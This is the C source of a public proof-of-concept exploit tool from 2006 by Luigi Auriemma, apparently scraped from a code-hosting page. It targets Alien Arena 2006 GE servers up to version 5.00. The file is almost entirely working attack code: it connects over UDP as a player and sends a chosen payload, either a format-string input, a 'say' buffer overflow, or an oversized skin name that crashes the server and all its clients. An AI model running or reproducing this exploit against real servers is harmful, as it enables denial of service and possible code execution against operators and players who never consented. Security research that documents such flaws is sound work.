596 lines
No EOL
16 KiB
C
596 lines
No EOL
16 KiB
C
/*
|
|
|
|
by Luigi Auriemma
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdarg.h>
|
|
#include <sys/stat.h>
|
|
#include <time.h>
|
|
|
|
#ifdef WIN32
|
|
#include <winsock.h>
|
|
/*
|
|
Header file used for manage errors in Windows
|
|
It support socket and errno too
|
|
(this header replace the previous sock_errX.h)
|
|
*/
|
|
|
|
#include <string.h>
|
|
#include <errno.h>
|
|
|
|
|
|
|
|
void std_err(void) {
|
|
char *error;
|
|
|
|
switch(WSAGetLastError()) {
|
|
case 10004: error = "Interrupted system call"; break;
|
|
case 10009: error = "Bad file number"; break;
|
|
case 10013: error = "Permission denied"; break;
|
|
case 10014: error = "Bad address"; break;
|
|
case 10022: error = "Invalid argument (not bind)"; break;
|
|
case 10024: error = "Too many open files"; break;
|
|
case 10035: error = "Operation would block"; break;
|
|
case 10036: error = "Operation now in progress"; break;
|
|
case 10037: error = "Operation already in progress"; break;
|
|
case 10038: error = "Socket operation on non-socket"; break;
|
|
case 10039: error = "Destination address required"; break;
|
|
case 10040: error = "Message too long"; break;
|
|
case 10041: error = "Protocol wrong type for socket"; break;
|
|
case 10042: error = "Bad protocol option"; break;
|
|
case 10043: error = "Protocol not supported"; break;
|
|
case 10044: error = "Socket type not supported"; break;
|
|
case 10045: error = "Operation not supported on socket"; break;
|
|
case 10046: error = "Protocol family not supported"; break;
|
|
case 10047: error = "Address family not supported by protocol family"; break;
|
|
case 10048: error = "Address already in use"; break;
|
|
case 10049: error = "Can't assign requested address"; break;
|
|
case 10050: error = "Network is down"; break;
|
|
case 10051: error = "Network is unreachable"; break;
|
|
case 10052: error = "Net dropped connection or reset"; break;
|
|
case 10053: error = "Software caused connection abort"; break;
|
|
case 10054: error = "Connection reset by peer"; break;
|
|
case 10055: error = "No buffer space available"; break;
|
|
case 10056: error = "Socket is already connected"; break;
|
|
case 10057: error = "Socket is not connected"; break;
|
|
case 10058: error = "Can't send after socket shutdown"; break;
|
|
case 10059: error = "Too many references, can't splice"; break;
|
|
case 10060: error = "Connection timed out"; break;
|
|
case 10061: error = "Connection refused"; break;
|
|
case 10062: error = "Too many levels of symbolic links"; break;
|
|
case 10063: error = "File name too long"; break;
|
|
case 10064: error = "Host is down"; break;
|
|
case 10065: error = "No Route to Host"; break;
|
|
case 10066: error = "Directory not empty"; break;
|
|
case 10067: error = "Too many processes"; break;
|
|
case 10068: error = "Too many users"; break;
|
|
case 10069: error = "Disc Quota Exceeded"; break;
|
|
case 10070: error = "Stale NFS file handle"; break;
|
|
case 10091: error = "Network SubSystem is unavailable"; break;
|
|
case 10092: error = "WINSOCK DLL Version out of range"; break;
|
|
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
|
|
case 10071: error = "Too many levels of remote in path"; break;
|
|
case 11001: error = "Host not found"; break;
|
|
case 11002: error = "Non-Authoritative Host not found"; break;
|
|
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
|
|
case 11004: error = "Valid name, no data record of requested type"; break;
|
|
default: error = strerror(errno); break;
|
|
}
|
|
fprintf(stderr, "\nError: %s\n", error);
|
|
exit(1);
|
|
}
|
|
|
|
#define close closesocket
|
|
#else
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <sys/param.h>
|
|
#include <arpa/inet.h>
|
|
#include <netinet/in.h>
|
|
#include <netdb.h>
|
|
|
|
#define stricmp strcasecmp
|
|
#define strnicmp strncasecmp
|
|
#define stristr strcasestr
|
|
#endif
|
|
|
|
|
|
|
|
#define VER "0.1"
|
|
#define PORT 27910
|
|
#define BUFFSZ 8192
|
|
#define MINPROTO 0
|
|
#define MAXPROTO 256
|
|
#define RELIABLE 0x80000000
|
|
#define FUCK "connect %d %hu" \
|
|
" %d " \
|
|
"\"" \
|
|
"\\spectator\\0" \
|
|
"\\gender\\male" \
|
|
"\\fov\\90" \
|
|
"\\rate\\25000" \
|
|
"\\msg\\1" \
|
|
"\\skin\\%s" \
|
|
"\\name\\%s" \
|
|
"\\hand\\0" \
|
|
"%s" \
|
|
"\" " \
|
|
"1390\n" // message length (useless for this game)
|
|
#define MAX_OSPATH 128 // 110 is enough, more is useless!
|
|
#define BOFSZ (2060 - strlen(nick)) // not exact but works
|
|
#define FORMATSTR "%01050x" // you will see the EIP 0x30303030
|
|
|
|
|
|
|
|
int get_quake2_chall(int sd, u_char *buff, int buffsz);
|
|
void get_quake2_infoproto(int onlyinfo, int *retproto);
|
|
void delimit(u_char *data);
|
|
int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...);
|
|
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
|
|
int create_rand_string(u_char *data, int len, u_int *seed);
|
|
int info_proto(u_char *data, int choice);
|
|
int timeout(int sock);
|
|
u_int resolv(char *host);
|
|
void std_err(void);
|
|
|
|
|
|
|
|
struct sockaddr_in peer;
|
|
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
u_int seed;
|
|
int sd,
|
|
len,
|
|
challenge,
|
|
proto = 0,
|
|
attack;
|
|
u_short port = PORT,
|
|
qport;
|
|
u_char password[128],
|
|
buff[BUFFSZ],
|
|
nick[16],
|
|
*text,
|
|
*skin = "male/grunt",
|
|
*command = NULL;
|
|
|
|
#ifdef WIN32
|
|
WSADATA wsadata;
|
|
WSAStartup(MAKEWORD(1,0), &wsadata);
|
|
#endif
|
|
|
|
setbuf(stdout, NULL);
|
|
|
|
fputs("\n"
|
|
"Alien Arena 2006 GE <= 5.00 multiple vulnerabilities " VER "\n"
|
|
"by Luigi Auriemma\n"
|
|
"e-mail: aluigi@autistici.org\n"
|
|
"web: http://aluigi.altervista.org\n"
|
|
"\n", stdout);
|
|
|
|
if(argc < 3) {
|
|
printf("\n"
|
|
"Usage: %s <attack> <host> [port(%hu)]\n"
|
|
"\n"
|
|
"Attack:\n"
|
|
" 1 = safe_cprintf server format string\n"
|
|
" 2 = Cmd_Say_f server buffer-overflow\n"
|
|
" 3 = Com_sprintf crash\n"
|
|
" this PoC uses a player with a big skin which automatically crash any\n"
|
|
" client in the server and any other new client\n"
|
|
"\n", argv[0], port);
|
|
exit(1);
|
|
}
|
|
|
|
attack = atoi(argv[1]);
|
|
|
|
if(argc > 3) port = atoi(argv[3]);
|
|
peer.sin_addr.s_addr = resolv(argv[2]);
|
|
peer.sin_port = htons(port);
|
|
peer.sin_family = AF_INET;
|
|
|
|
printf("- target %s : %hu\n",
|
|
inet_ntoa(peer.sin_addr), port);
|
|
|
|
seed = time(NULL);
|
|
qport = ~seed;
|
|
text = buff + 4;
|
|
*password = 0;
|
|
|
|
get_quake2_infoproto(0, &proto);
|
|
printf("- use server protocol %d\n", proto);
|
|
|
|
create_rand_string(nick, sizeof(nick), &seed); // here for buffer-overflow and redo
|
|
|
|
if(attack == 1) {
|
|
fputs("- attack: safe_cprintf server format string (\""FORMATSTR"\")\n", stdout);
|
|
command = FORMATSTR;
|
|
|
|
} else if(attack == 2) {
|
|
printf("- attack: Cmd_Say_f server buffer-overflow (%d bytes)\n", BOFSZ);
|
|
command = malloc(BOFSZ + 10);
|
|
len = sprintf(command, "say ");
|
|
memset(command + len, 'A', BOFSZ);
|
|
command[len + BOFSZ] = 0;
|
|
|
|
} else if(attack == 3) {
|
|
printf(
|
|
"- attack: Com_sprintf crash\n"
|
|
" exploitation versus all the clients in the server\n"
|
|
" note that some clients could not crash in some cases\n");
|
|
skin = malloc(MAX_OSPATH + 1);
|
|
if(!skin) std_err();
|
|
memset(skin, 'a', MAX_OSPATH);
|
|
skin[MAX_OSPATH] = 0;
|
|
|
|
} else {
|
|
printf("\nError: wrong attack number (%d)\n\n", attack);
|
|
exit(1);
|
|
}
|
|
|
|
redo:
|
|
printf("- start connection:\n");
|
|
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
|
if(sd < 0) std_err();
|
|
|
|
challenge = get_quake2_chall(sd, buff, sizeof(buff));
|
|
|
|
len = quake2_build_pck(
|
|
0xffffffff,
|
|
0,
|
|
0,
|
|
buff,
|
|
sizeof(buff),
|
|
FUCK,
|
|
proto,
|
|
++qport,
|
|
challenge,
|
|
skin,
|
|
nick,
|
|
password);
|
|
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
|
|
|
|
if(strnicmp(text, "client_connect", 14)) {
|
|
if(stristr(text, "full")) {
|
|
printf("- server full\n");
|
|
exit(1);
|
|
|
|
} else if(stristr(text, "password")) {
|
|
printf("- server is protected. Insert the password required:\n ");
|
|
len = sprintf(password, "\\password\\");
|
|
fflush(stdin);
|
|
fgets(password + len, sizeof(password) - len, stdin);
|
|
delimit(password);
|
|
goto redo;
|
|
|
|
} else if(stristr(text, "refused") || stristr(text, "reject")) {
|
|
printf("\n"
|
|
"Error: your connection has been refused without reasons:\n"
|
|
"\n"
|
|
"%s\n"
|
|
"\n", text);
|
|
exit(1);
|
|
|
|
} else {
|
|
printf(
|
|
"- player has not been accepted with the following error:\n"
|
|
"\n"
|
|
"%s\n"
|
|
"\n", text);
|
|
exit(1);
|
|
}
|
|
}
|
|
printf(" player \"%s\" connected\n", nick);
|
|
|
|
if(command) {
|
|
len = quake2_build_pck(
|
|
1 | RELIABLE,
|
|
0,
|
|
qport,
|
|
buff,
|
|
sizeof(buff),
|
|
command,
|
|
NULL); // the NULL here forces no format
|
|
printf(" command: %s\n", buff + 11);
|
|
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
|
|
}
|
|
|
|
close(sd);
|
|
printf("- finished\n");
|
|
return(0);
|
|
}
|
|
|
|
|
|
|
|
int get_quake2_chall(int sd, u_char *buff, int buffsz) {
|
|
int len,
|
|
challenge;
|
|
u_char *p,
|
|
*text;
|
|
|
|
text = buff + 4;
|
|
|
|
len = quake2_build_pck(
|
|
0xffffffff,
|
|
0,
|
|
0,
|
|
buff,
|
|
buffsz,
|
|
"getchallenge\n");
|
|
len = send_recv(sd, buff, len, buff, buffsz, 1);
|
|
|
|
p = strchr(text, ' ');
|
|
if(!p) {
|
|
printf("\nError: No challenge key in the server's reply:\n%s\n\n", text);
|
|
exit(1);
|
|
}
|
|
sscanf(p + 1, "%d", &challenge);
|
|
printf(" challenge: %d\n", challenge);
|
|
return(challenge);
|
|
}
|
|
|
|
|
|
|
|
void get_quake2_infoproto(int onlyinfo, int *retproto) {
|
|
int sd,
|
|
len,
|
|
proto;
|
|
u_char buff[BUFFSZ],
|
|
*text,
|
|
*p;
|
|
|
|
proto = 35;
|
|
text = buff + 4;
|
|
|
|
printf("- request informations and retrieve server protocol:\n");
|
|
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
|
if(sd < 0) std_err();
|
|
|
|
len = quake2_build_pck(
|
|
0xffffffff,
|
|
0,
|
|
0,
|
|
buff,
|
|
sizeof(buff),
|
|
"status");
|
|
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
|
|
|
|
if(*buff == '\\') {
|
|
printf("- the port you have specified seems a query port so I try to query it:\n");
|
|
len = send_recv(sd, "\\status\\", 8, buff, sizeof(buff), 1);
|
|
len = info_proto(buff, 0);
|
|
if(len > 0) {
|
|
printf("- relaunch this tool specifying the port %d\n\n", len);
|
|
}
|
|
close(sd);
|
|
exit(1);
|
|
}
|
|
|
|
proto = info_proto(text, 1);
|
|
|
|
if(onlyinfo || *retproto) return;
|
|
|
|
if(proto < 0) {
|
|
printf(
|
|
"- no server protocol specified in the server's reply.\n"
|
|
" I try to retrieve it with a fast scanning\n");
|
|
for(proto = MINPROTO; proto < MAXPROTO; proto++) {
|
|
printf("- try protocol %d: ", proto);
|
|
|
|
len = quake2_build_pck(
|
|
0xffffffff,
|
|
0,
|
|
0,
|
|
buff,
|
|
sizeof(buff),
|
|
"info %d",
|
|
proto);
|
|
len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
|
|
if(len < 0) {
|
|
printf("- no reply from the server, I try to get protocol from challenge");
|
|
len = quake2_build_pck(
|
|
0xffffffff,
|
|
0,
|
|
0,
|
|
buff,
|
|
sizeof(buff),
|
|
"getchallenge\n");
|
|
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
|
|
printf(" %s\n", text);
|
|
p = strchr(text, '=');
|
|
if(p) {
|
|
sscanf(p + 1, "%d", &proto);
|
|
} else {
|
|
printf("- no protocol in the reply from the server\n");
|
|
proto = 35;
|
|
}
|
|
break;
|
|
}
|
|
|
|
if(!stristr(text, "wrong")) break;
|
|
printf("%s\n", text);
|
|
}
|
|
if(proto == MAXPROTO) {
|
|
printf("\nError: I have not been able to retrieve the server's protocol\n\n");
|
|
exit(1);
|
|
}
|
|
fputc('\n', stdout);
|
|
}
|
|
|
|
close(sd);
|
|
*retproto = proto;
|
|
}
|
|
|
|
|
|
|
|
void delimit(u_char *data) {
|
|
while(*data && (*data != '\n') && (*data != '\r')) data++;
|
|
*data = 0;
|
|
}
|
|
|
|
|
|
|
|
int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...) {
|
|
va_list ap;
|
|
int len;
|
|
u_char *p;
|
|
|
|
p = buff;
|
|
*(u_int *)p = seq;
|
|
p += 4;
|
|
|
|
if(seq != 0xffffffff) {
|
|
*(u_int *)p = ack;
|
|
p += 4;
|
|
*(u_short *)p = qport;
|
|
p += 2;
|
|
*p++ = 4;
|
|
}
|
|
|
|
len = p - buff;
|
|
|
|
va_start(ap, fmt); // check to avoid sprintf, is not important if fails or not
|
|
if(va_arg(ap, u_char *)) {
|
|
va_end(ap);
|
|
va_start(ap, fmt);
|
|
len += vsnprintf(p, (size - 1) - len, fmt, ap);
|
|
} else {
|
|
len += snprintf(p, (size - 1) - len, "%s", fmt);
|
|
}
|
|
va_end(ap);
|
|
|
|
return(len + 1); // NULL byte too
|
|
}
|
|
|
|
|
|
|
|
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
|
|
int retry,
|
|
len;
|
|
|
|
for(retry = 3; retry; retry--) {
|
|
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
|
|
< 0) std_err();
|
|
if(!timeout(sd)) break;
|
|
}
|
|
|
|
if(!retry) {
|
|
if(!err) return(-1);
|
|
fputs("\nError: socket timeout, no reply received\n\n", stdout);
|
|
exit(1);
|
|
}
|
|
|
|
outsz--; // NULL bytes handling
|
|
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
|
|
if(len < 0) std_err();
|
|
out[len] = 0;
|
|
return(len);
|
|
}
|
|
|
|
|
|
|
|
int create_rand_string(u_char *data, int len, u_int *seed) {
|
|
u_int rnd;
|
|
u_char *p;
|
|
const static u_char table[] =
|
|
"0123456789"
|
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
"abcdefghijklmnopqrstuvwxyz";
|
|
|
|
rnd = *seed;
|
|
p = data;
|
|
|
|
len = rnd % len;
|
|
if(len < 8) len = 8;
|
|
|
|
while(--len) {
|
|
rnd = (rnd * 0x343FD) + 0x269EC3;
|
|
rnd >>= 3;
|
|
*p++ = table[rnd % (sizeof(table) - 1)];
|
|
}
|
|
*p++ = 0;
|
|
|
|
*seed = rnd;
|
|
return(p - data);
|
|
}
|
|
|
|
|
|
|
|
int info_proto(u_char *data, int choice) {
|
|
int nt = 1,
|
|
ret = -1;
|
|
u_char *p;
|
|
|
|
while((p = strchr(data, '\\'))) {
|
|
*p = 0;
|
|
if(nt & 1) {
|
|
if(!ret) {
|
|
ret = atoi(data);
|
|
if(!ret) ret = -1;
|
|
}
|
|
printf("%s\n", data);
|
|
} else {
|
|
if(choice) { // protocol
|
|
if(!stricmp(data, "protocol") || !stricmp(data, "proto")) ret = 0;
|
|
} else {
|
|
if(!stricmp(data, "hostport")) ret = 0;
|
|
}
|
|
printf("%30s: ", data);
|
|
}
|
|
data = p + 1;
|
|
nt++;
|
|
}
|
|
printf("%s\n\n", data);
|
|
return(ret);
|
|
}
|
|
|
|
|
|
|
|
int timeout(int sock) {
|
|
struct timeval tout;
|
|
fd_set fd_read;
|
|
int err;
|
|
|
|
tout.tv_sec = 1;
|
|
tout.tv_usec = 0;
|
|
FD_ZERO(&fd_read);
|
|
FD_SET(sock, &fd_read);
|
|
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
|
|
if(err < 0) std_err();
|
|
if(!err) return(-1);
|
|
return(0);
|
|
}
|
|
|
|
|
|
|
|
u_int resolv(char *host) {
|
|
struct hostent *hp;
|
|
u_int host_ip;
|
|
|
|
host_ip = inet_addr(host);
|
|
if(host_ip == INADDR_NONE) {
|
|
hp = gethostbyname(host);
|
|
if(!hp) {
|
|
printf("\nError: Unable to resolv hostname (%s)\n", host);
|
|
exit(1);
|
|
} else host_ip = *(u_int *)(hp->h_addr);
|
|
}
|
|
return(host_ip);
|
|
}
|
|
|
|
|
|
|
|
#ifndef WIN32
|
|
void std_err(void) {
|
|
perror("\nError");
|
|
exit(1);
|
|
}
|
|
#endif
|
|
|
|
// milw0rm.com [2006-03-07]
|